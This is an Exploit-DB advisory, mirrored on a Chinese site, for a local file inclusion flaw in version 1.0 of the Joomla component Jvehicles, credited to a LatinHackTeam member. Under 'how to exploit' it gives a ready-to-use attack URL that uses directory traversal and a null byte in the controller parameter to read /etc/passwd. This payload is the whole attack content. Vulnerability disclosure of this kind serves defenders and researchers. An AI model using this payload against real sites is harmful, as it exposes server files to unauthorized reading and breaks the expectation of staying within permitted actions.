Joomla! Component Jvehicles – Local File Inclusion - 体验盒子

作者： Chip d3 bi0s

日期： 2010-04-01

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/11997/

---------------------------------------------------------------------------------
Joomla Component Jvehicles Local File Inclusion
---------------------------------------------------------------------------------

Author		: Chip D3 Bi0s
Group		: LatinHackTeam
Email & msn	: chipdebios@gmail.com
Date		: 31 March 2010
Critical Lvl	: Moderate
Impact		: Exposure of sensitive information
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~


Application	: Jvehicles
version		: 1.0
Developer	: este8an
License		: GPLtype: Non-Commercial
Date Added	: 5 May 2009
Download	: http://www.jvehicles.com/index.php?option=com_remository&Itemid=6&func=select&id=2&orderby=3&#9001;=en




Description :

Derivation of a popular component com_properties (for Estate Agent) .
This component is to manage vehicles. With the same functionality.


--------------
file error	: components/com_jvehicles/jvehicles.php

how to exploit

http://127.0.0.1/index.php?option=com_jvehicles&controller=../../../../../../../../../../etc/passwd%00

------------------------


+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++